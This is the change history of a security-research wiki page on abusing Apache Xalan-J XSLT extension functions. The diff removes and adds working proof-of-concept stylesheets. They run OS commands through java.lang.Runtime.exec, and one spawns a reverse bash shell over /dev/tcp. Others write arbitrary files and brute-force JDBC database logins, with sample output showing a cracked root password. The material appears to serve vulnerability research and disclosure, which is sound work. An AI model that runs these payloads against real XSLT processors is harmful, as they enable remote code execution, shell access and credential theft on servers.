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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 60.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:08
Change comment: There is no comment for this version
To version Icon 40.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:29
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -22,7 +22,7 @@
22 22  * Java properties disclosure
23 23  * Java environment disclosure
24 24  * Java code execution
25 -* OS command execution
25 +* Arbitrary command execution
26 26  * File creation
27 27  * JDBC connectivity
28 28  
... ... @@ -44,45 +44,25 @@
44 44  
45 45  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
46 46  
47 +
47 47  |=Namespace|=Extension function|=PoC|=Sample output
48 48  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 49  Wed Jan 11 22:45:07 CET 2012
50 50  
51 -== OS command execution ==
52 +== Execution of external commands ==
52 52  
53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 +The following code will execute the command "touch /tmp/hello" :
54 54  
55 -|=Namespace|=Extension functions|=PoC
56 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 -
58 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 -
60 -== File creation ==
61 -
62 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 -
64 -|=Namespace|=Extension element|=Parameter|=PoC
65 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 -
67 -== JDBC connectivity ==
68 -
69 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
70 -
71 -|=Namespace|=Extension function|=PoC
72 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
73 -
74 -=== Brute-force ===
75 -
76 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
77 -
78 -Here's the output when launched from the CLI :
79 -$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
80 -Username : [root] / Password : [] :
81 -Username : [root] / Password : [uberpasswd] :
82 -Username : [root] / Password : [cnam] : OK !!
83 -Username : [pma] / Password : [pma] :
84 -
85 -
86 -
87 -
88 -
56 +<?xml version="1.0"?>
57 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
58 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
59 + exclude-result-prefixes="j"
60 + version="1.0">
61 + <xsl:template match="/">
62 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
63 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
64 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
65 + <xsl:variable name="p" select="j:exec($r, $a )"/>
66 + No content at the moment ...
67 + </xsl:template>
68 +</xsl:stylesheet>
Icon xalanj-java-date.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<xsl:stylesheet version="1.0"
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 - exclude-result-prefixes="date">
5 - <xsl:output method="text"/>
6 - <xsl:template match="/">
7 - <xsl:variable name="dateObject" select="date:new()"/>
8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 - </xsl:template>
10 -</xsl:stylesheet>
11 -
Icon xalanj-reverse-bash.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -1002 bytes
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1 -<xsl:stylesheet
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:jv="http://xml.apache.org/xalan/java"
4 - exclude-result-prefixes="jv"
5 - version="1.0">
6 -
7 - <xsl:template match="/">
8 -
9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 -
14 -Objet "String" :
15 - <xsl:value-of select="$test"/>
16 -
17 -Objet "Array" :
18 - <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 - <xsl:value-of select="$aAsString"/>
20 -
21 -Objet "Runtime" :
22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 - <xsl:value-of select="$rtobjectAsString"/>
24 -
25 -Objet "Process" :
26 - <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 - <xsl:value-of select="$processAsString"/>
28 -
29 - </xsl:template>
30 -</xsl:stylesheet>
31 -
Icon xalanj-write.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -373 bytes
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:redir="http://xml.apache.org/xalan/redirect"
3 - extension-element-prefixes="redir"
4 - version='1.0'>
5 -
6 - <xsl:template match="/">
7 - <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 - <xsl:text>Just a PoC</xsl:text>
9 - </redir:write>
10 - </xsl:template>
11 -
12 -</xsl:stylesheet>
13 -